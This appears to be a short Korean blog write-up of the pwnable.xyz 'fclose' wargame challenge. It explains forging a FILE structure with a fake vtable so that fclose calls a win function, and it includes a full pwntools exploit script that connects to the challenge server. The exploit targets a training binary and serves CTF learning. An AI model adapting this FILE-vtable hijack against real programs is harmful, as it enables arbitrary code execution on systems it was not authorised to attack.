Wargame/pwnable.xyz
pwnable.xyz / fclose
Syine Mineta
2020. 1. 18. 01:41
FILE 구조체를 이해하고 있어야 풀 수 있다.
read(0, &input, 0x404uLL);
fclose(&input);
|
임의의 FILE 구조체를 만들 수 있고, 그것을 fclose로 닫는다. fake vtable을 구성하고 vtable->__finish를 win으로 바꾸면 된다.
적절한 _lock을 설정하지 않으면 segfault가 발생하므로 lock object를 0x601800에 설정했다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30018) else : p = process('./challenge') def exploit() : _input = 0x601260 payload = p64(0)*17 payload += p64(0x601800) payload += p64(0)*9 payload += p64(_input+0xE0) payload += p64(0)*2 payload += p64(0x4007EC) p.write(payload) p.interactive() if __name__ == '__main__' : exploit() |

Last update: 4/8/2020